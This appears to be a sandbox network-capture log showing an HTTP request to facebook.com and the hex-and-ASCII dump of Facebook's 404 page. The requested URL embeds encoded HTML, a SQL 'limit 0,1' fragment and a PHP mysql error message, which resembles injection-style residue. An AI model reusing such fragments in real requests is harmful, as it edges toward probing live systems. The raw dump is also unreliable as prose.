font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: www.facebook.com
2022-10-08 09:34:27 UTC	142	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 document-policy: force-load-at-top cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: Y+3Jt+fLzkyWXgpa8QHK4qGrs/CzgpN1fL8tbhGWnOjO25Lh5yt44J133MmjLbzey4t7T0tx1pCow59oDqj1lg== Date: Sat, 08 Oct 2022 09:34:27 GMT Transfer-Encoding: chunked Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Connection: close
2022-10-08 09:34:27 UTC	143	IN	Data Raw: 37 66 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 79 63 66 4d 6b 44 67 72 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 72 Data Ascii: 7f8<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="default" id="meta_referrer" /><script nonce="ycfMkDgr">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requir
2022-10-08 09:34:27 UTC	144	IN	Data Raw: 6f 6e 20 62 28 62 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 29 72 65 74 75 72 6e 3b 62 2e 49 5f 41 4d 5f 49 4e 43 4f 47 4e 49 54 4f 5f 41 4e 44 5f 49 5f 52 45 41 4c 4c 59 5f 4e 45 45 44 5f 57 45 42 53 51 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 28 61 2c 62 2c 63 2c 64 29 7d 3b 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 79 63 66 4d 6b 44 67 72 22 3e 3c 2f 73 74 79 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 Data Ascii: on b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="ycfMkDgr"></style><script nonce="
2022-10-08 09:34:27 UTC	145	IN	Data Raw: 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 3f 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 6e 69 66 65 73 74 22 20 69 64 3d 22 4d 41 4e 49 46 45 53 54 5f 4c 49 4e 4b 22 20 68 72 65 66 3d 22 2f 64 61 74 61 Data Ascii: ;%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E?_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data
2022-10-08 09:34:27 UTC	146	IN	Data Raw: 31 39 30 64 0d 0a 69 74 6c 65 20 69 64 3d 22 70 61 67 65 54 69 74 6c 65 22 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 62 6f 6f 6b 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 65 61 72 63 68 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 70 65 6e 73 65 61 72 63 68 64 65 73 63 72 69 70 74 69 6f 6e 2b 78 6d 6c 22 20 68 72 65 66 3d 22 2f 6f 73 64 2e 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 62 6f 6f 6b 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 6d 65 64 69 61 3d 22 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 Data Ascii: 190ditle id="pageTitle">Page Not Found \| Facebook</title><link rel="search" type="application/opensearchdescription+xml" href="/osd.xml" title="Facebook" /><link rel="alternate" media="only screen and (max-width: 640px)" href="https://www.facebook.com/%
2022-10-08 09:34:27 UTC	147	IN	Data Raw: 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 6d 65 64 69 61 3d 22 68 61 6e 64 68 65 6c 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 Data Ascii: E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" /><link rel="alternate" media="handheld" href="https://www.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20w
2022-10-08 09:34:27 UTC	148	IN	Data Raw: 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 4c 6f 67 20 69 6e 20 6f 72 20 73 69 67 6e 20 75 70 20 74 6f 20 76 69 65 77 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 65 20 70 6f 73 74 73 2c 20 70 68 6f 74 6f 73 20 61 6e 64 20 6d 6f 72 65 20 6f 6e 20 46 61 63 65 62 6f 6f 6b 2e 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 73 6b 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 61 6e 79 22 20 68 72 65 66 3d 22 2f 69 63 6f 6e 2e 73 76 67 22 20 63 6f 6c 6f 72 3d 22 23 33 62 35 39 39 38 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 Data Ascii: property="og:title" content="Log in or sign up to view" /><meta property="og:description" content="See posts, photos and more on Facebook." /><link rel="mask-icon" sizes="any" href="/icon.svg" color="#3b5998" /><link rel="shortcut icon" href="https://sta
2022-10-08 09:34:27 UTC	150	IN	Data Raw: 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 48 2f 72 2f 2d 65 77 5f 45 49 65 6e 76 58 62 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 5a 38 4a 2b 78 50 34 22 20 6e 6f 6e 63 65 3d 22 79 63 66 4d 6b 44 67 72 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 79 63 66 4d 6b 44 67 72 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 48 61 73 74 65 53 75 70 70 6f 72 74 44 61 74 61 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 6d 2e 68 61 6e 64 6c 65 28 7b 22 63 6c 70 44 61 74 61 22 3a 7b 22 31 38 31 34 38 35 32 22 3a 7b 22 72 22 3a 31 7d 2c 22 31 38 33 38 31 34 32 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 Data Ascii: c.xx.fbcdn.net/rsrc.php/v3/yH/r/-ew_EIenvXb.js?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="Z8J+xP4" nonce="ycfMkDgr"></script><script nonce="ycfMkDgr">requireLazy(["HasteSupportData"],function(m){m.handle({"clpData":{"1814852":{"r":1},"1838142":{"r":1,"s":1
2022-10-08 09:34:27 UTC	151	IN	Data Raw: 6e 64 6c 65 28 7b 22 64 65 66 69 6e 65 22 3a 5b 5b 22 55 52 4c 46 72 61 67 6d 65 6e 74 50 72 65 6c 75 64 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 68 61 73 68 74 61 67 52 65 64 69 72 65 63 74 22 3a 74 72 75 65 2c 22 66 72 61 67 42 6c 61 63 6b 6c 69 73 74 22 3a 5b 22 6e 6f 6e 63 65 22 2c 22 61 63 63 65 73 73 5f 74 6f 6b 65 6e 22 2c 22 6f 61 75 74 68 5f 74 6f 6b 65 6e 22 2c 22 78 73 22 2c 22 63 68 65 63 6b 70 6f 69 6e 74 5f 64 61 74 61 22 2c 22 63 6f 64 65 22 5d 7d 2c 31 33 37 5d 2c 5b 22 43 6f 6d 65 74 50 65 72 73 69 73 74 51 75 65 72 79 50 61 72 61 6d 73 22 2c 5b 5d 2c 7b 22 72 65 6c 61 74 69 76 65 22 3a 7b 7d 2c 22 64 6f 6d 61 69 6e 22 3a 7b 7d 7d 2c 36 32 33 31 5d 2c 5b 22 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 22 2c 5b 5d 2c 7b 22 64 6f 6d 61 69 6e 22 3a Data Ascii: ndle({"define":[["URLFragmentPreludeConfig",[],{"hashtagRedirect":true,"fragBlacklist":["nonce","access_token","oauth_token","xs","checkpoint_data","code"]},137],["CometPersistQueryParams",[],{"relative":{},"domain":{}},6231],["CookieDomain",[],{"domain":
2022-10-08 09:34:27 UTC	152	IN	Data Raw: 31 31 62 36 36 0d 0a 6f 72 74 4e 75 6d 22 3a 32 2c 22 6a 73 52 65 74 72 79 41 62 6f 72 74 54 69 6d 65 22 3a 35 2c 22 73 69 6c 65 6e 74 44 75 70 73 22 3a 66 61 6c 73 65 2c 22 68 79 70 53 74 65 70 34 22 3a 66 61 6c 73 65 2c 22 70 68 64 4f 6e 22 3a 66 61 6c 73 65 2c 22 62 74 43 75 74 6f 66 66 49 6e 64 65 78 22 3a 32 35 36 35 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 52 65 74 72 69 65 73 22 3a 5b 32 30 30 2c 35 30 30 5d 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 52 65 74 72 79 41 62 6f 72 74 4e 75 6d 22 3a 33 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 52 65 74 72 79 41 62 6f 72 74 54 69 6d 65 22 3a 35 30 7d 2c 33 32 39 5d 2c 5b 22 43 53 53 4c 6f 61 64 65 72 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 74 69 6d 65 6f 75 74 22 3a 35 30 30 30 2c 22 6d 6f 64 75 6c 65 50 72 65 66 Data Ascii: 11b66ortNum":2,"jsRetryAbortTime":5,"silentDups":false,"hypStep4":false,"phdOn":false,"btCutoffIndex":2565,"translationRetries":[200,500],"translationRetryAbortNum":3,"translationRetryAbortTime":50},329],["CSSLoaderConfig",[],{"timeout":5000,"modulePref
2022-10-08 09:34:27 UTC	153	IN	Data Raw: 3a 22 41 56 72 44 6b 58 58 48 64 36 6f 22 7d 2c 33 32 33 5d 2c 5b 22 53 65 72 76 65 72 4e 6f 6e 63 65 22 2c 5b 5d 2c 7b 22 53 65 72 76 65 72 4e 6f 6e 63 65 22 3a 22 6b 34 33 6c 36 34 39 42 33 77 45 64 5f 74 59 56 6d 32 52 69 70 55 22 7d 2c 31 34 31 5d 2c 5b 22 53 69 74 65 44 61 74 61 22 2c 5b 5d 2c 7b 22 73 65 72 76 65 72 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 30 36 33 35 35 33 32 37 2c 22 63 6c 69 65 6e 74 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 30 36 33 35 35 33 32 37 2c 22 74 69 65 72 22 3a 22 22 2c 22 70 75 73 68 5f 70 68 61 73 65 22 3a 22 43 33 22 2c 22 70 6b 67 5f 63 6f 68 6f 72 74 22 3a 22 42 50 3a 44 45 46 41 55 4c 54 22 2c 22 68 61 73 74 65 5f 73 65 73 73 69 6f 6e 22 3a 22 31 39 32 37 33 2e 42 50 3a 44 45 46 41 55 4c 54 2e 32 2e 30 2e 30 2e 30 2e Data Ascii: :"AVrDkXXHd6o"},323],["ServerNonce",[],{"ServerNonce":"k43l649B3wEd_tYVm2RipU"},141],["SiteData",[],{"server_revision":1006355327,"client_revision":1006355327,"tier":"","push_phase":"C3","pkg_cohort":"BP:DEFAULT","haste_session":"19273.BP:DEFAULT.2.0.0.0.
2022-10-08 09:34:27 UTC	155	IN	Data Raw: 4e 45 5f 44 45 4c 45 54 45 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 41 50 50 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 42 55 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 45 53 47 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 50 52 4f 44 55 43 54 5f 43 41 54 41 4c 4f 47 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 53 Data Ascii: NE_DELETE","BUSINESS_GRAPH_SETTING_APP_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_BU_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_ESG_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_PRODUCT_CATALOG_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_S
2022-10-08 09:34:27 UTC	156	IN	Data Raw: 63 22 2c 22 35 58 43 7a 31 68 39 49 61 77 33 22 2c 22 37 72 36 6d 53 50 37 6f 66 72 32 22 2c 22 36 44 47 50 4c 72 52 64 79 74 73 22 2c 22 61 57 78 43 79 69 31 73 45 43 37 22 2c 22 39 6b 43 53 44 7a 7a 72 38 66 75 22 2c 22 61 77 59 41 37 66 6e 32 42 73 65 22 2c 22 61 42 4d 6c 4a 38 51 52 50 57 45 22 2c 22 46 6c 33 62 48 33 6f 7a 4c 65 22 5d 7d 7d 2c 32 35 38 30 5d 2c 5b 22 4a 53 45 72 72 6f 72 4c 6f 67 67 69 6e 67 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 61 70 70 49 64 22 3a 32 35 36 32 38 31 30 34 30 35 35 38 2c 22 65 78 74 72 61 22 3a 5b 5d 2c 22 72 65 70 6f 72 74 49 6e 74 65 72 76 61 6c 22 3a 35 30 2c 22 73 61 6d 70 6c 65 57 65 69 67 68 74 22 3a 6e 75 6c 6c 2c 22 73 61 6d 70 6c 65 57 65 69 67 68 74 4b 65 79 22 3a 22 5f 5f 6a 73 73 65 73 77 22 2c 22 70 72 Data Ascii: c","5XCz1h9Iaw3","7r6mSP7ofr2","6DGPLrRdyts","aWxCyi1sEC7","9kCSDzzr8fu","awYA7fn2Bse","aBMlJ8QRPWE","Fl3bH3ozLe"]}},2580],["JSErrorLoggingConfig",[],{"appId":256281040558,"extra":[],"reportInterval":50,"sampleWeight":null,"sampleWeightKey":"__jssesw","pr
2022-10-08 09:34:27 UTC	158	IN	Data Raw: 22 68 74 74 70 73 3a 5c 2f 5c 2f 66 61 63 65 62 6f 6f 6b 2e 64 6c 6f 63 61 6c 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 5c 2f 5c 2f 62 75 79 32 2e 62 6f 6b 75 2e 63 6f 6d 22 5d 7d 2c 34 39 32 30 5d 2c 5b 22 42 6f 6f 74 6c 6f 61 64 65 72 45 6e 64 70 6f 69 6e 74 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 64 65 62 75 67 4e 6f 42 61 74 63 68 69 6e 67 22 3a 66 61 6c 73 65 2c 22 65 6e 64 70 6f 69 6e 74 55 52 49 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 61 6a 61 78 5c 2f 62 6f 6f 74 6c 6f 61 64 65 72 2d 65 6e 64 70 6f 69 6e 74 5c 2f 22 7d 2c 35 30 39 34 5d 2c 5b 22 43 6f 6f 6b 69 65 43 6f 6e 73 65 6e 74 49 46 72 61 6d 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 63 6f 6e 73 65 6e 74 5f 70 61 72 61 6d 22 3a 22 46 51 41 53 Data Ascii: "https:\/\/facebook.dlocal.com","https:\/\/buy2.boku.com"]},4920],["BootloaderEndpointConfig",[],{"debugNoBatching":false,"endpointURI":"https:\/\/www.facebook.com\/ajax\/bootloader-endpoint\/"},5094],["CookieConsentIFrameConfig",[],{"consent_param":"FQAS
2022-10-08 09:34:27 UTC	159	IN	Data Raw: 22 5c 2f 61 62 6f 75 74 5c 2f 70 72 69 76 61 63 79 5c 2f 75 70 64 61 74 65 5c 2f 22 3a 31 2c 22 5c 2f 70 72 69 76 61 63 79 5c 2f 65 78 70 6c 61 6e 61 74 69 6f 6e 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 74 6f 67 67 6c 65 5c 2f 77 65 6c 63 6f 6d 65 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 74 6f 67 67 6c 65 5c 2f 6e 75 78 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 74 6f 67 67 6c 65 5c 2f 73 65 74 74 69 6e 67 73 5c 2f 22 3a 31 2c 22 5c 2f 66 75 70 5c 2f 69 6e 74 65 72 73 74 69 74 69 61 6c 5c 2f 22 3a 31 2c 22 5c 2f 77 6f 72 6b 5c 2f 6c 61 6e 64 69 6e 67 22 3a 31 2c 22 5c 2f 77 6f 72 6b 5c 2f 6c 6f 67 69 6e 5c 2f 22 3a 31 2c 22 5c 2f 77 6f 72 6b 5c 2f 65 6d 61 69 6c 5c 2f 22 3a 31 2c 22 5c 2f 61 69 2e 70 68 70 22 3a 31 2c 22 5c 2f 6a 73 5f 64 69 61 Data Ascii: "\/about\/privacy\/update\/":1,"\/privacy\/explanation\/":1,"\/zero\/toggle\/welcome\/":1,"\/zero\/toggle\/nux\/":1,"\/zero\/toggle\/settings\/":1,"\/fup\/interstitial\/":1,"\/work\/landing":1,"\/work\/login\/":1,"\/work\/email\/":1,"\/ai.php":1,"\/js_dia
2022-10-08 09:34:27 UTC	161	IN	Data Raw: 69 6f 6e 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 66 72 65 65 6d 69 75 6d 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 66 72 65 65 6d 69 75 6d 5c 2f 72 65 64 69 72 65 63 74 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 66 72 65 65 6d 69 75 6d 5c 2f 7a 65 72 6f 5f 66 75 70 5c 2f 22 3a 31 2c 22 5c 2f 70 72 69 76 61 63 79 5c 2f 70 6f 6c 69 63 79 5c 2f 22 3a 31 2c 22 5c 2f 70 72 69 76 61 63 79 5c 2f 63 65 6e 74 65 72 5c 2f 22 3a 31 2c 22 5c 2f 64 61 74 61 5c 2f 6d 61 6e 69 66 65 73 74 5c 2f 22 3a 31 2c 22 5c 2f 34 6f 68 34 2e 70 68 70 22 3a 31 2c 22 5c 2f 61 75 74 6f 6c 6f 67 69 6e 2e 70 68 70 22 3a 31 2c 22 5c 2f 62 69 72 74 68 64 61 79 5f 68 65 6c 70 2e 70 68 70 22 3a 31 2c 22 5c 2f Data Ascii: ion\/":1,"\/mobile\/zero\/freemium\/":1,"\/mobile\/zero\/freemium\/redirect\/":1,"\/mobile\/zero\/freemium\/zero_fup\/":1,"\/privacy\/policy\/":1,"\/privacy\/center\/":1,"\/data\/manifest\/":1,"\/4oh4.php":1,"\/autologin.php":1,"\/birthday_help.php":1,"\/
2022-10-08 09:34:27 UTC	162	IN	Data Raw: 6f 6e 74 61 63 74 5c 2f 22 3a 31 2c 22 5c 2f 73 75 72 76 65 79 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 6c 6f 79 61 6c 74 79 74 6f 70 75 70 5c 2f 61 63 63 65 70 74 5c 2f 22 3a 31 2c 22 5c 2f 73 65 74 74 69 6e 67 73 5c 2f 22 3a 31 2c 22 5c 2f 6c 69 74 65 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5f 73 74 61 74 75 73 5f 75 70 64 61 74 65 5c 2f 22 3a 31 2c 22 5c 2f 6f 70 65 72 61 74 6f 72 5f 73 74 6f 72 65 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 22 3a 31 2c 22 5c 2f 77 69 66 69 61 75 74 68 5c 2f 6c 6f 67 69 6e 5c 2f 22 3a 31 7d 7d 2c 31 34 37 38 5d 2c 5b 22 49 6e 74 6c 4e 75 6d 62 65 72 54 79 70 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 69 6d 70 6c 22 3a 22 69 66 20 28 6e 20 3d 3d 3d 20 31 29 20 7b 20 72 65 74 75 72 6e 20 49 6e 74 6c 56 61 Data Ascii: ontact\/":1,"\/survey\/":1,"\/upsell\/loyaltytopup\/accept\/":1,"\/settings\/":1,"\/lite\/":1,"\/zero_status_update\/":1,"\/operator_store\/":1,"\/upsell\/":1,"\/wifiauth\/login\/":1}},1478],["IntlNumberTypeConfig",[],{"impl":"if (n === 1) { return IntlVa
2022-10-08 09:34:27 UTC	164	IN	Data Raw: 72 54 69 6d 65 6f 75 74 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 63 6c 65 61 72 54 69 6d 65 6f 75 74 42 6c 75 65 22 2c 22 41 61 31 58 62 36 62 5a 78 6b 6f 4f 78 79 76 4a 4f 4c 72 46 71 56 39 50 76 37 6a 51 4a 68 46 72 78 5f 73 6a 46 47 79 6e 59 5f 4c 42 4f 55 72 45 38 35 52 47 4f 6e 6b 78 6d 55 37 69 43 44 5a 6f 62 6f 31 46 6e 5f 51 57 38 7a 34 32 68 6e 30 31 43 46 36 41 4d 45 75 70 58 66 67 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 38 30 37 30 34 32 22 2c 5b 22 73 65 74 54 69 6d 65 6f 75 74 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 73 65 74 54 69 6d 65 6f 75 74 42 6c 75 65 22 2c 22 41 61 31 58 62 36 62 5a 78 6b 6f 4f 78 79 76 4a 4f 4c 72 46 71 56 39 50 76 37 6a 51 4a 68 46 72 78 5f 73 6a 46 47 79 6e 59 5f 4c 42 4f 55 72 45 38 35 52 47 4f Data Ascii: rTimeoutBlue"],{"__rc":["clearTimeoutBlue","Aa1Xb6bZxkoOxyvJOLrFqV9Pv7jQJhFrx_sjFGynY_LBOUrE85RGOnkxmU7iCDZobo1Fn_QW8z42hn01CF6AMEupXfg"]},-1],["cr:807042",["setTimeoutBlue"],{"__rc":["setTimeoutBlue","Aa1Xb6bZxkoOxyvJOLrFqV9Pv7jQJhFrx_sjFGynY_LBOUrE85RGO
2022-10-08 09:34:27 UTC	165	IN	Data Raw: 79 22 3a 30 2c 22 70 6c 61 79 69 6e 67 22 3a 30 2c 22 70 72 6f 67 72 65 73 73 22 3a 30 2c 22 70 61 75 73 65 22 3a 30 2c 22 65 6e 64 65 64 22 3a 30 2c 22 73 65 65 6b 65 64 22 3a 30 2c 22 73 65 65 6b 69 6e 67 22 3a 30 2c 22 77 61 69 74 69 6e 67 22 3a 30 2c 22 6c 6f 61 64 65 64 6d 65 74 61 64 61 74 61 22 3a 30 2c 22 63 61 6e 70 6c 61 79 22 3a 30 2c 22 73 65 6c 65 63 74 69 6f 6e 63 68 61 6e 67 65 22 3a 30 2c 22 63 68 61 6e 67 65 22 3a 30 2c 22 74 69 6d 65 75 70 64 61 74 65 22 3a 30 2c 22 61 64 61 70 74 61 74 69 6f 6e 22 3a 30 2c 22 66 6f 63 75 73 22 3a 30 2c 22 62 6c 75 72 22 3a 30 2c 22 6c 6f 61 64 22 3a 30 2c 22 65 72 72 6f 72 22 3a 30 2c 22 6d 65 73 73 61 67 65 22 3a 30 2c 22 61 62 6f 72 74 22 3a 30 2c 22 73 74 6f 72 61 67 65 22 3a 30 2c 22 73 63 72 6f 6c Data Ascii: y":0,"playing":0,"progress":0,"pause":0,"ended":0,"seeked":0,"seeking":0,"waiting":0,"loadedmetadata":0,"canplay":0,"selectionchange":0,"change":0,"timeupdate":0,"adaptation":0,"focus":0,"blur":0,"load":0,"error":0,"message":0,"abort":0,"storage":0,"scrol
